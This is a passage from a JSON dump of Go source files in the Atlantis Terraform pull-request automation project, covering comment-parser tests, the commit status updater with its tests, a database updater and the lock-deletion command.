spaces\\\"\",\n\t\t},\n\t\t{\n\t\t\trepoRelDir:        \"dir\",\n\t\t\tworkspace:         \"workspace\",\n\t\t\tproject:           \"\",\n\t\t\tautoMergeDisabled: true,\n\t\t\tcommentArgs:       []string{`\"arg1\"`, `\"arg2\"`, `arg3`},\n\t\t\texpPlanFlags:      \"-d dir -w workspace -- arg1 arg2 arg3\",\n\t\t\texpApplyFlags:     \"-d dir -w workspace --auto-merge-disabled\",\n\t\t\texpVersionFlags:   \"-d dir -w workspace\",\n\t\t},\n\t\t{\n\t\t\trepoRelDir:      \"dir\",\n\t\t\tworkspace:       \"workspace\",\n\t\t\tproject:         \"\",\n\t\t\tautoMergeMethod: \"squash\",\n\t\t\tcommentArgs:     []string{`\"arg1\"`, `\"arg2\"`, `arg3`},\n\t\t\texpPlanFlags:    \"-d dir -w workspace -- arg1 arg2 arg3\",\n\t\t\texpApplyFlags:   \"-d dir -w workspace --auto-merge-method squash\",\n\t\t\texpVersionFlags: \"-d dir -w workspace\",\n\t\t},\n\t}\n\n\tfor _, c := range cases {\n\t\tt.Run(c.expPlanFlags, func(t *testing.T) {\n\t\t\tfor _, cmd := range []command.Name{command.Plan, command.Apply, command.Version} {\n\t\t\t\tswitch cmd {\n\t\t\t\tcase command.Plan:\n\t\t\t\t\tactComment := commentParser.BuildPlanComment(c.repoRelDir, c.workspace, c.project, c.commentArgs)\n\t\t\t\t\tEquals(t, fmt.Sprintf(\"atlantis plan %s\", c.expPlanFlags), actComment)\n\t\t\t\tcase command.Apply:\n\t\t\t\t\tactComment := commentParser.BuildApplyComment(c.repoRelDir, c.workspace, c.project, c.autoMergeDisabled, c.autoMergeMethod)\n\t\t\t\t\tEquals(t, fmt.Sprintf(\"atlantis apply %s\", c.expApplyFlags), actComment)\n\t\t\t\t}\n\t\t\t}\n\t\t})\n\t}\n}\n\nfunc TestCommentParser_HelpComment(t *testing.T) {\n\tcases := []struct {\n\t\tname          string\n\t\tallowCommands []command.Name\n\t\texpectResult  string\n\t}{\n\t\t{\n\t\t\tname:          \"all commands allowed\",\n\t\t\tallowCommands: command.AllCommentCommands,\n\t\t\texpectResult: \"```cmake\\n\" +\n\t\t\t\t`atlantis\nTerraform Pull Request Automation\n\nUsage:\n  atlantis <command> [options] -- [terraform options]\n\nExamples:\n  # show atlantis help\n  atlantis help\n\n  # run plan in the root directory passing the -target flag to terraform\n  atlantis plan -d . -- -target=resource\n\n  # apply all unapplied plans from this pull request\n  atlantis apply\n\n  # apply the plan for the root directory and staging workspace\n  atlantis apply -d . -w staging\n\nCommands:\n  plan     Runs 'terraform plan' for the changes in this pull request.\n           To plan a specific project, use the -d, -w and -p flags.\n  apply    Runs 'terraform apply' on all unapplied plans from this pull request.\n           To only apply a specific plan, use the -d, -w and -p flags.\n  unlock   Removes all atlantis locks and discards all plans for this PR.\n           To unlock a specific plan you can use the Atlantis UI.\n  approve_policies\n           Approves all current policy checking failures for the PR.\n  version  Print the output of 'terraform version'\n  import ADDRESS ID\n           Runs 'terraform import' for the passed address resource.\n           To import a specific project, use the -d, -w and -p flags.\n  state rm ADDRESS...\n           Runs 'terraform state rm' for the passed address resource.\n           To remove a specific project resource, use the -d, -w and -p flags.\n  help     View help.\n\nFlags:\n  -h, --help   help for atlantis\n\nUse \"atlantis [command] --help\" for more information about a command.` +\n\t\t\t\t\"\\n```\",\n\t\t},\n\t\t{\n\t\t\tname:          \"all commands disallowed\",\n\t\t\tallowCommands: []command.Name{},\n\t\t\texpectResult: \"```cmake\\n\" +\n\t\t\t\t`atlantis\nTerraform Pull Request Automation\n\nUsage:\n  atlantis <command> [options] -- [terraform options]\n\nExamples:\n  # show atlantis help\n  atlantis help\n\nCommands:\n  help     View help.\n\nFlags:\n  -h, --help   help for atlantis\n\nUse \"atlantis [command] --help\" for more information about a command.` +\n\t\t\t\t\"\\n```\",\n\t\t},\n\t\t{\n\t\t\tname: \"partial commands allowed\",\n\t\t\tallowCommands: []command.Name{\n\t\t\t\tcommand.Apply,\n\t\t\t\tcommand.Unlock,\n\t\t\t},\n\t\t\texpectResult: \"```cmake\\n\" +\n\t\t\t\t`atlantis\nTerraform Pull Request Automation\n\nUsage:\n  atlantis <command> [options] -- [terraform options]\n\nExamples:\n  # show atlantis help\n  atlantis help\n\n  # apply all unapplied plans from this pull request\n  atlantis apply\n\n  # apply the plan for the root directory and staging workspace\n  atlantis apply -d . -w staging\n\nCommands:\n  apply    Runs 'terraform apply' on all unapplied plans from this pull request.\n           To only apply a specific plan, use the -d, -w and -p flags.\n  unlock   Removes all atlantis locks and discards all plans for this PR.\n           To unlock a specific plan you can use the Atlantis UI.\n  help     View help.\n\nFlags:\n  -h, --help   help for atlantis\n\nUse \"atlantis [command] --help\" for more information about a command.` +\n\t\t\t\t\"\\n```\",\n\t\t},\n\t}\n\n\tfor _, c := range cases {\n\t\tt.Run(c.name, func(t *testing.T) {\n\t\t\tcommentParser := events.CommentParser{\n\t\t\t\tExecutableName: \"atlantis\",\n\t\t\t\tAllowCommands:  c.allowCommands,\n\t\t\t}\n\t\t\tEquals(t, commentParser.HelpComment(), c.expectResult)\n\t\t})\n\t}\n}\n\nfunc TestParse_VCSUsername(t *testing.T) {\n\tcp := events.CommentParser{\n\t\tGithubUser:      \"gh\",\n\t\tGitlabUser:      \"gl\",\n\t\tBitbucketUser:   \"bb\",\n\t\tAzureDevopsUser: \"ad\",\n\t\tExecutableName:  \"atlantis\",\n\t}\n\tcases := []struct {\n\t\tvcs  models.VCSHostType\n\t\tuser string\n\t}{\n\t\t{\n\t\t\tvcs:  models.Github,\n\t\t\tuser: \"gh\",\n\t\t},\n\t\t{\n\t\t\tvcs:  models.Gitlab,\n\t\t\tuser: \"gl\",\n\t\t},\n\t\t{\n\t\t\tvcs:  models.BitbucketServer,\n\t\t\tuser: \"bb\",\n\t\t},\n\t\t{\n\t\t\tvcs:  models.BitbucketCloud,\n\t\t\tuser: \"bb\",\n\t\t},\n\t\t{\n\t\t\tvcs:  models.AzureDevops,\n\t\t\tuser: \"ad\",\n\t\t},\n\t}\n\n\tfor _, c := range cases {\n\t\tt.Run(c.vcs.String(), func(t *testing.T) {\n\t\t\tr := cp.Parse(fmt.Sprintf(\"@%s %s\", c.user, \"help\"), c.vcs)\n\t\t\tEquals(t, cp.HelpComment(), r.CommentResponse)\n\t\t})\n\t}\n}\n\nvar PlanUsage = `Usage of plan:\n  -d, --dir string         Which directory to run plan in relative to root of repo,\n                           ex. 'child/dir'.\n  -p, --project string     Which project to run plan for. Refers to the name of the\n                           project configured in a repo config file. Cannot be used\n                           at same time as workspace or dir flags.\n      --verbose            Append Atlantis log to comment.\n  -w, --workspace string   Switch to this Terraform workspace before planning.\n`\n\nvar ApplyUsage = `Usage of apply:\n      --auto-merge-disabled        Disable automerge after apply.\n      --auto-merge-method string   Specifies the merge method for the VCS if\n                                   automerge is enabled. (Currently only implemented\n                                   for GitHub)\n  -d, --dir string                 Apply the plan for this directory, relative to\n                                   root of repo, ex. 'child/dir'.\n  -p, --project string             Apply the plan for this project. Refers to the\n                                   name of the project configured in a repo config\n                                   file. Cannot be used at same time as workspace or\n                                   dir flags.\n      --verbose                    Append Atlantis log to comment.\n  -w, --workspace string           Apply the plan for this Terraform workspace.\n`\n\nvar ApprovePolicyUsage = `Usage of approve_policies:\n      --clear-policy-approval   Clear any existing policy approvals.\n  -d, --dir string              Approve policies for this directory, relative to\n                                root of repo, ex. 'child/dir'.\n      --policy-set string       Approve policies for this project. Refers to the\n                                name of the project configured in a repo config\n                                file. Cannot be used at same time as workspace or\n                                dir flags.\n  -p, --project string          Approve policies for this project. Refers to the\n                                name of the project configured in a repo config\n                                file. Cannot be used at same time as workspace or\n                                dir flags.\n      --verbose                 Append Atlantis log to comment.\n  -w, --workspace string        Approve policies for this Terraform workspace.\n`\n\nvar UnlockUsage = \"`Usage of unlock:`\\n\\n ```cmake\\n\" +\n\t`atlantis unlock\n\n  Unlocks the entire PR and discards all plans in this PR.\n  Arguments or flags are not supported at the moment.\n  If you need to unlock a specific project please use the atlantis UI.` +\n\t\"\\n```\"\n\nvar ImportUsage = `Usage of import ADDRESS ID:\n  -d, --dir string         Which directory to run import in relative to root of\n                           repo, ex. 'child/dir'.\n  -p, --project string     Which project to run import for. Refers to the name of\n                           the project configured in a repo config file. Cannot be\n                           used at same time as workspace or dir flags.\n      --verbose            Append Atlantis log to comment.\n  -w, --workspace string   Switch to this Terraform workspace before importing.\n`\n"
  },
  {
    "path": "server/events/commit_status_updater.go",
    "content": "// Copyright 2017 HootSuite Media Inc.\n//\n// Licensed under the Apache License, Version 2.0 (the License);\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//    http://www.apache.org/licenses/LICENSE-2.0\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an AS IS BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n// Modified hereafter by contributors to runatlantis/atlantis.\n\npackage events\n\nimport (\n\t\"fmt\"\n\n\t\"github.com/runatlantis/atlantis/server/core/runtime\"\n\t\"github.com/runatlantis/atlantis/server/events/command\"\n\t\"github.com/runatlantis/atlantis/server/events/models\"\n\t\"github.com/runatlantis/atlantis/server/events/vcs\"\n\t\"github.com/runatlantis/atlantis/server/logging\"\n\t\"golang.org/x/text/cases\"\n\t\"golang.org/x/text/language\"\n)\n\n//go:generate pegomock generate github.com/runatlantis/atlantis/server/events --package mocks -o mocks/mock_commit_status_updater.go CommitStatusUpdater\n\n// CommitStatusUpdater updates the status of a commit with the VCS host. We set\n// the status to signify whether the plan/apply succeeds.\ntype CommitStatusUpdater interface {\n\t// UpdateCombined updates the combined status of the head commit of pull.\n\t// A combined status represents all the projects modified in the pull.\n\tUpdateCombined(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest, status models.CommitStatus, cmdName command.Name) error\n\t// UpdateCombinedCount updates the combined status to reflect the\n\t// numSuccess out of numTotal.\n\tUpdateCombinedCount(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest, status models.CommitStatus, cmdName command.Name, numSuccess int, numTotal int) error\n\n\tUpdatePreWorkflowHook(logger logging.SimpleLogging, pull models.PullRequest, status models.CommitStatus, hookDescription string, runtimeDescription string, url string) error\n\tUpdatePostWorkflowHook(logger logging.SimpleLogging, pull models.PullRequest, status models.CommitStatus, hookDescription string, runtimeDescription string, url string) error\n}\n\n// DefaultCommitStatusUpdater implements CommitStatusUpdater.\ntype DefaultCommitStatusUpdater struct {\n\tClient vcs.Client\n\t// StatusName is the name used to identify Atlantis when creating PR statuses.\n\tStatusName string\n}\n\n// ensure DefaultCommitStatusUpdater implements runtime.StatusUpdater interface\n// cause runtime.StatusUpdater is extracted for resolving circular dependency\nvar _ runtime.StatusUpdater = (*DefaultCommitStatusUpdater)(nil)\n\nfunc (d *DefaultCommitStatusUpdater) UpdateCombined(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest, status models.CommitStatus, cmdName command.Name) error {\n\tsrc := fmt.Sprintf(\"%s/%s\", d.StatusName, cmdName.String())\n\tvar descripWords string\n\tswitch status {\n\tcase models.PendingCommitStatus:\n\t\tdescripWords = genProjectStatusDescription(cmdName.String(), \"in progress...\")\n\tcase models.FailedCommitStatus:\n\t\tdescripWords = genProjectStatusDescription(cmdName.String(), \"failed.\")\n\tcase models.SuccessCommitStatus:\n\t\tdescripWords = genProjectStatusDescription(cmdName.String(), \"succeeded.\")\n\t}\n\treturn d.Client.UpdateStatus(logger, repo, pull, status, src, descripWords, \"\")\n}\n\nfunc (d *DefaultCommitStatusUpdater) UpdateCombinedCount(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest, status models.CommitStatus, cmdName command.Name, numSuccess int, numTotal int) error {\n\tsrc := fmt.Sprintf(\"%s/%s\", d.StatusName, cmdName.String())\n\tcmdVerb := \"unknown\"\n\n\tswitch cmdName {\n\tcase command.Plan:\n\t\tcmdVerb = \"planned\"\n\tcase command.PolicyCheck:\n\t\tcmdVerb = \"policies checked\"\n\tcase command.Apply:\n\t\tcmdVerb = \"applied\"\n\t}\n\n\treturn d.Client.UpdateStatus(logger, repo, pull, status, src, fmt.Sprintf(\"%d/%d projects %s successfully.\", numSuccess, numTotal, cmdVerb), \"\")\n}\n\nfunc (d *DefaultCommitStatusUpdater) UpdateProject(ctx command.ProjectContext, cmdName command.Name, status models.CommitStatus, url string, result *command.ProjectCommandOutput) error {\n\tprojectID := ctx.ProjectName\n\tif projectID == \"\" {\n\t\tprojectID = fmt.Sprintf(\"%s/%s\", ctx.RepoRelDir, ctx.Workspace)\n\t}\n\tsrc := fmt.Sprintf(\"%s/%s: %s\", d.StatusName, cmdName.String(), projectID)\n\tvar descripWords string\n\tswitch status {\n\tcase models.PendingCommitStatus:\n\t\tdescripWords = genProjectStatusDescription(cmdName.String(), \"in progress...\")\n\tcase models.FailedCommitStatus:\n\t\tdescripWords = genProjectStatusDescription(cmdName.String(), \"failed.\")\n\tcase models.SuccessCommitStatus:\n\t\tif result != nil && result.PlanSuccess != nil {\n\t\t\tdescripWords = result.PlanSuccess.DiffSummary()\n\t\t} else {\n\t\t\tdescripWords = genProjectStatusDescription(cmdName.String(), \"succeeded.\")\n\t\t}\n\t}\n\treturn d.Client.UpdateStatus(ctx.Log, ctx.BaseRepo, ctx.Pull, status, src, descripWords, url)\n}\n\nfunc genProjectStatusDescription(cmdName, description string) string {\n\treturn fmt.Sprintf(\"%s %s\", cases.Title(language.English).String(cmdName), description)\n}\n\nfunc (d *DefaultCommitStatusUpdater) UpdatePreWorkflowHook(log logging.SimpleLogging, pull models.PullRequest, status models.CommitStatus, hookDescription string, runtimeDescription string, url string) error {\n\treturn d.updateWorkflowHook(log, pull, status, hookDescription, runtimeDescription, \"pre_workflow_hook\", url)\n}\n\nfunc (d *DefaultCommitStatusUpdater) UpdatePostWorkflowHook(log logging.SimpleLogging, pull models.PullRequest, status models.CommitStatus, hookDescription string, runtimeDescription string, url string) error {\n\treturn d.updateWorkflowHook(log, pull, status, hookDescription, runtimeDescription, \"post_workflow_hook\", url)\n}\n\nfunc (d *DefaultCommitStatusUpdater) updateWorkflowHook(log logging.SimpleLogging, pull models.PullRequest, status models.CommitStatus, hookDescription string, runtimeDescription string, workflowType string, url string) error {\n\tsrc := fmt.Sprintf(\"%s/%s: %s\", d.StatusName, workflowType, hookDescription)\n\n\tvar descripWords string\n\tif runtimeDescription != \"\" {\n\t\tdescripWords = runtimeDescription\n\t} else {\n\t\tswitch status {\n\t\tcase models.PendingCommitStatus:\n\t\t\tdescripWords = \"in progress...\"\n\t\tcase models.FailedCommitStatus:\n\t\t\tdescripWords = \"failed.\"\n\t\tcase models.SuccessCommitStatus:\n\t\t\tdescripWords = \"succeeded.\"\n\t\t}\n\t}\n\n\treturn d.Client.UpdateStatus(log, pull.BaseRepo, pull, status, src, descripWords, url)\n}\n"
  },
  {
    "path": "server/events/commit_status_updater_test.go",
    "content": "// Copyright 2017 HootSuite Media Inc.\n//\n// Licensed under the Apache License, Version 2.0 (the License);\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//    http://www.apache.org/licenses/LICENSE-2.0\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an AS IS BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n// Modified hereafter by contributors to runatlantis/atlantis.\n\npackage events_test\n\nimport (\n\t\"fmt\"\n\t\"testing\"\n\n\t. \"github.com/petergtz/pegomock/v4\"\n\t\"github.com/runatlantis/atlantis/server/events\"\n\t\"github.com/runatlantis/atlantis/server/events/command\"\n\t\"github.com/runatlantis/atlantis/server/events/models\"\n\t\"github.com/runatlantis/atlantis/server/events/vcs/mocks\"\n\t\"github.com/runatlantis/atlantis/server/logging\"\n\t. \"github.com/runatlantis/atlantis/testing\"\n)\n\nfunc TestUpdateCombined(t *testing.T) {\n\tlogger := logging.NewNoopLogger(t)\n\tcases := []struct {\n\t\tstatus     models.CommitStatus\n\t\tcommand    command.Name\n\t\texpDescrip string\n\t}{\n\t\t{\n\t\t\tstatus:     models.PendingCommitStatus,\n\t\t\tcommand:    command.Plan,\n\t\t\texpDescrip: \"Plan in progress...\",\n\t\t},\n\t\t{\n\t\t\tstatus:     models.FailedCommitStatus,\n\t\t\tcommand:    command.Plan,\n\t\t\texpDescrip: \"Plan failed.\",\n\t\t},\n\t\t{\n\t\t\tstatus:     models.SuccessCommitStatus,\n\t\t\tcommand:    command.Plan,\n\t\t\texpDescrip: \"Plan succeeded.\",\n\t\t},\n\t\t{\n\t\t\tstatus:     models.PendingCommitStatus,\n\t\t\tcommand:    command.Apply,\n\t\t\texpDescrip: \"Apply in progress...\",\n\t\t},\n\t\t{\n\t\t\tstatus:     models.FailedCommitStatus,\n\t\t\tcommand:    command.Apply,\n\t\t\texpDescrip: \"Apply failed.\",\n\t\t},\n\t\t{\n\t\t\tstatus:     models.SuccessCommitStatus,\n\t\t\tcommand:    command.Apply,\n\t\t\texpDescrip: \"Apply succeeded.\",\n\t\t},\n\t}\n\n\tfor _, c := range cases {\n\t\tt.Run(c.expDescrip, func(t *testing.T) {\n\t\t\tRegisterMockTestingT(t)\n\t\t\tclient := mocks.NewMockClient()\n\t\t\ts := events.DefaultCommitStatusUpdater{Client: client, StatusName: \"atlantis\"}\n\t\t\terr := s.UpdateCombined(logger, models.Repo{}, models.PullRequest{}, c.status, c.command)\n\t\t\tOk(t, err)\n\n\t\t\texpSrc := fmt.Sprintf(\"atlantis/%s\", c.command)\n\t\t\tclient.VerifyWasCalledOnce().UpdateStatus(logger, models.Repo{}, models.PullRequest{}, c.status, expSrc, c.expDescrip, \"\")\n\t\t})\n\t}\n}\n\nfunc TestUpdateCombinedCount(t *testing.T) {\n\tlogger := logging.NewNoopLogger(t)\n\tcases := []struct {\n\t\tstatus     models.CommitStatus\n\t\tcommand    command.Name\n\t\tnumSuccess int\n\t\tnumTotal   int\n\t\texpDescrip string\n\t}{\n\t\t{\n\t\t\tstatus:     models.PendingCommitStatus,\n\t\t\tcommand:    command.Plan,\n\t\t\tnumSuccess: 0,\n\t\t\tnumTotal:   2,\n\t\t\texpDescrip: \"0/2 projects planned successfully.\",\n\t\t},\n\t\t{\n\t\t\tstatus:     models.FailedCommitStatus,\n\t\t\tcommand:    command.Plan,\n\t\t\tnumSuccess: 1,\n\t\t\tnumTotal:   2,\n\t\t\texpDescrip: \"1/2 projects planned successfully.\",\n\t\t},\n\t\t{\n\t\t\tstatus:     models.SuccessCommitStatus,\n\t\t\tcommand:    command.Plan,\n\t\t\tnumSuccess: 2,\n\t\t\tnumTotal:   2,\n\t\t\texpDescrip: \"2/2 projects planned successfully.\",\n\t\t},\n\t\t{\n\t\t\tstatus:     models.FailedCommitStatus,\n\t\t\tcommand:    command.Apply,\n\t\t\tnumSuccess: 0,\n\t\t\tnumTotal:   2,\n\t\t\texpDescrip: \"0/2 projects applied successfully.\",\n\t\t},\n\t\t{\n\t\t\tstatus:     models.PendingCommitStatus,\n\t\t\tcommand:    command.Apply,\n\t\t\tnumSuccess: 1,\n\t\t\tnumTotal:   2,\n\t\t\texpDescrip: \"1/2 projects applied successfully.\",\n\t\t},\n\t\t{\n\t\t\tstatus:     models.SuccessCommitStatus,\n\t\t\tcommand:    command.Apply,\n\t\t\tnumSuccess: 2,\n\t\t\tnumTotal:   2,\n\t\t\texpDescrip: \"2/2 projects applied successfully.\",\n\t\t},\n\t}\n\n\tfor _, c := range cases {\n\t\tt.Run(c.expDescrip, func(t *testing.T) {\n\t\t\tRegisterMockTestingT(t)\n\t\t\tclient := mocks.NewMockClient()\n\t\t\ts := events.DefaultCommitStatusUpdater{Client: client, StatusName: \"atlantis-test\"}\n\t\t\terr := s.UpdateCombinedCount(logger, models.Repo{}, models.PullRequest{}, c.status, c.command, c.numSuccess, c.numTotal)\n\t\t\tOk(t, err)\n\n\t\t\texpSrc := fmt.Sprintf(\"%s/%s\", s.StatusName, c.command)\n\t\t\tclient.VerifyWasCalledOnce().UpdateStatus(logger, models.Repo{}, models.PullRequest{}, c.status, expSrc, c.expDescrip, \"\")\n\t\t})\n\t}\n}\n\n// Test that it sets the \"source\" properly depending on if the project is\n// named or not.\nfunc TestDefaultCommitStatusUpdater_UpdateProjectSrc(t *testing.T) {\n\tRegisterMockTestingT(t)\n\tcases := []struct {\n\t\tprojectName string\n\t\trepoRelDir  string\n\t\tworkspace   string\n\t\texpSrc      string\n\t}{\n\t\t{\n\t\t\tprojectName: \"name\",\n\t\t\trepoRelDir:  \".\",\n\t\t\tworkspace:   \"default\",\n\t\t\texpSrc:      \"atlantis/plan: name\",\n\t\t},\n\t\t{\n\t\t\tprojectName: \"\",\n\t\t\trepoRelDir:  \"dir1/dir2\",\n\t\t\tworkspace:   \"workspace\",\n\t\t\texpSrc:      \"atlantis/plan: dir1/dir2/workspace\",\n\t\t},\n\t}\n\n\tfor _, c := range cases {\n\t\tt.Run(c.expSrc, func(t *testing.T) {\n\t\t\tclient := mocks.NewMockClient()\n\t\t\ts := events.DefaultCommitStatusUpdater{Client: client, StatusName: \"atlantis\"}\n\t\t\terr := s.UpdateProject(command.ProjectContext{\n\t\t\t\tProjectName: c.projectName,\n\t\t\t\tRepoRelDir:  c.repoRelDir,\n\t\t\t\tWorkspace:   c.workspace,\n\t\t\t}, command.Plan, models.PendingCommitStatus, \"url\", nil)\n\t\t\tOk(t, err)\n\t\t\tclient.VerifyWasCalledOnce().UpdateStatus(\n\t\t\t\tAny[logging.SimpleLogging](), Eq(models.Repo{}), Eq(models.PullRequest{}), Eq(models.PendingCommitStatus), Eq(c.expSrc),\n\t\t\t\tEq(\"Plan in progress...\"), Eq(\"url\"))\n\t\t})\n\t}\n}\n\n// Test that it uses the right words in the description.\nfunc TestDefaultCommitStatusUpdater_UpdateProject(t *testing.T) {\n\tRegisterMockTestingT(t)\n\tcases := []struct {\n\t\tstatus     models.CommitStatus\n\t\tcmd        command.Name\n\t\tresult     *command.ProjectCommandOutput\n\t\texpDescrip string\n\t}{\n\t\t{\n\t\t\tstatus:     models.PendingCommitStatus,\n\t\t\tcmd:        command.Plan,\n\t\t\texpDescrip: \"Plan in progress...\",\n\t\t},\n\t\t{\n\t\t\tstatus:     models.FailedCommitStatus,\n\t\t\tcmd:        command.Plan,\n\t\t\texpDescrip: \"Plan failed.\",\n\t\t},\n\t\t{\n\t\t\tstatus: models.SuccessCommitStatus,\n\t\t\tcmd:    command.Plan,\n\t\t\tresult: &command.ProjectCommandOutput{\n\t\t\t\tPlanSuccess: &models.PlanSuccess{\n\t\t\t\t\tTerraformOutput: \"aaa\\nNote: Objects have changed outside of Terraform\\nbbb\\nPlan: 1 to add, 2 to change, 3 to destroy.\\nbbb\",\n\t\t\t\t},\n\t\t\t},\n\t\t\texpDescrip: \"Plan: 1 to add, 2 to change, 3 to destroy.\",\n\t\t},\n\t\t{\n\t\t\tstatus:     models.PendingCommitStatus,\n\t\t\tcmd:        command.Apply,\n\t\t\texpDescrip: \"Apply in progress...\",\n\t\t},\n\t\t{\n\t\t\tstatus:     models.FailedCommitStatus,\n\t\t\tcmd:        command.Apply,\n\t\t\texpDescrip: \"Apply failed.\",\n\t\t},\n\t\t{\n\t\t\tstatus: models.SuccessCommitStatus,\n\t\t\tcmd:    command.Apply,\n\t\t\tresult: &command.ProjectCommandOutput{\n\t\t\t\tApplySuccess: \"success\",\n\t\t\t},\n\t\t\texpDescrip: \"Apply succeeded.\",\n\t\t},\n\t}\n\n\tfor _, c := range cases {\n\t\tt.Run(c.expDescrip, func(t *testing.T) {\n\t\t\tclient := mocks.NewMockClient()\n\t\t\ts := events.DefaultCommitStatusUpdater{Client: client, StatusName: \"atlantis\"}\n\t\t\terr := s.UpdateProject(command.ProjectContext{\n\t\t\t\tRepoRelDir: \".\",\n\t\t\t\tWorkspace:  \"default\",\n\t\t\t}, c.cmd, c.status, \"url\", c.result)\n\t\t\tOk(t, err)\n\t\t\tclient.VerifyWasCalledOnce().UpdateStatus(Any[logging.SimpleLogging](), Eq(models.Repo{}), Eq(models.PullRequest{}), Eq(c.status),\n\t\t\t\tEq(fmt.Sprintf(\"atlantis/%s: ./default\", c.cmd.String())), Eq(c.expDescrip), Eq(\"url\"))\n\t\t})\n\t}\n}\n\n// Test that we can set the status name.\nfunc TestDefaultCommitStatusUpdater_UpdateProjectCustomStatusName(t *testing.T) {\n\tRegisterMockTestingT(t)\n\tclient := mocks.NewMockClient()\n\ts := events.DefaultCommitStatusUpdater{Client: client, StatusName: \"custom\"}\n\terr := s.UpdateProject(command.ProjectContext{\n\t\tRepoRelDir: \".\",\n\t\tWorkspace:  \"default\",\n\t}, command.Apply, models.SuccessCommitStatus, \"url\", nil)\n\tOk(t, err)\n\tclient.VerifyWasCalledOnce().UpdateStatus(Any[logging.SimpleLogging](), Eq(models.Repo{}), Eq(models.PullRequest{}),\n\t\tEq(models.SuccessCommitStatus), Eq(\"custom/apply: ./default\"), Eq(\"Apply succeeded.\"), Eq(\"url\"))\n}\n"
  },
  {
    "path": "server/events/db_updater.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage events\n\nimport (\n\t\"github.com/runatlantis/atlantis/server/core/db\"\n\t\"github.com/runatlantis/atlantis/server/events/command\"\n\t\"github.com/runatlantis/atlantis/server/events/models\"\n)\n\ntype DBUpdater struct {\n\tDatabase db.Database\n}\n\nfunc (c *DBUpdater) updateDB(ctx *command.Context, pull models.PullRequest, results []command.ProjectResult) (models.PullStatus, error) {\n\t// Filter out results that errored due to the directory not existing. We\n\t// don't store these in the database because they would never be \"apply-able\"\n\t// and so the pull request would always have errors.\n\tvar filtered []command.ProjectResult\n\tfor _, r := range results {\n\t\tif _, ok := r.Error.(DirNotExistErr); ok {\n\t\t\tctx.Log.Debug(\"ignoring error result from project at dir %q workspace %q because it is dir not exist error\", r.RepoRelDir, r.Workspace)\n\t\t\tcontinue\n\t\t}\n\t\tfiltered = append(filtered, r)\n\t}\n\tctx.Log.Debug(\"updating DB with pull results\")\n\treturn c.Database.UpdatePullWithResults(pull, filtered)\n}\n"
  },
  {
    "path": "server/events/delete_lock_command.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage events\n\nimport (\n\t\"github.com/runatlantis/atlantis/server/core/db\"\n\t\"github.com/runatlantis/atlantis/server/core/locking\"\n\t\"github.com/runatlantis/atlantis/server/events/models\"\n\t\"github.com/runatlantis/atlantis/server/logging\"\n)\n\n//go:generate pegomock generate github.com/runatlantis/atlantis/server/events --package mocks -o mocks/mock_delete_lock_command.go DeleteLockCommand\n\n// DeleteLockCommand is the first step after a command request has been parsed.\ntype DeleteLockCommand interface {\n\tDeleteLock(logger logging.SimpleLogging, id string) (*models.ProjectLock, error)\n\tDeleteLocksByPull(logger logging.SimpleLogging, repoFullName string, pullNum int) (int, error)\n}\n\n// DefaultDeleteLockCommand deletes a specific lock after a request from the LocksController.\ntype DefaultDeleteLockCommand struct {\n\tLocker           locking.Locker\n\tWorkingDir       WorkingDir\n\tWorkingDirLocker WorkingDirLocker\n\tDatabase         db.Database\n}\n\n// DeleteLock handles deleting the lock at id\nfunc (l *DefaultDeleteLockCommand) DeleteLock(logger logging.SimpleLogging, id string) (*models.ProjectLock, error) {\n\tlock, err := l.Locker.Unlock(id)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif lock == nil {\n\t\treturn nil, nil\n\t}\n\n\tremoveErr := l.WorkingDir.DeletePlan(logger, lock.Pull.BaseRepo, lock.Pull, lock.Workspace, lock.Project.Path, lock.Project.ProjectName)\n\tif removeErr != nil {\n\t\tlogger.Warn(\"Failed to delete plan: %s\", removeErr)\n\t\treturn nil, removeErr\n\t}\n\n\treturn lock, nil\n}\n\n// DeleteLocksByPull handles deleting all locks for the pull request\nfunc (l *DefaultDeleteLockCommand) DeleteLocksByPull(logger logging.SimpleLogging, repoFullName string, pullNum int) (int, error) {\n\tlocks, err := l.Locker.UnlockByPull(repoFullName, pullNum)\n\tnumLocks := len(locks)\n\tif err != nil {\n\t\treturn numLocks, err\n\t}\n\tif numLocks == 0 {\n\t\tlogger.Debug(\"No locks found for repo '%v', pull request: %v\", repoFullName, pullNum)\n\t\treturn numLocks, nil\n\t}\n\n\tfor i := range numLocks {\n\t\tlock := locks[i]\n\n\t\terr := l.WorkingDir.DeletePlan(logger, lock.Pull.BaseRepo, lock.Pull, lock.Workspace, lock.Project.Path, lock.Project.ProjectName)\n\t\tif err != nil {\n\t\t\tlogger.Warn(\"Failed to delete plan: %s\", err)\n\t\t\treturn numLocks, err\n\t\t}\n\t}\n\n\treturn numLocks, nil\n}\n"
  },
  {
    "path": "server/events/delete_lock_command_test.go",
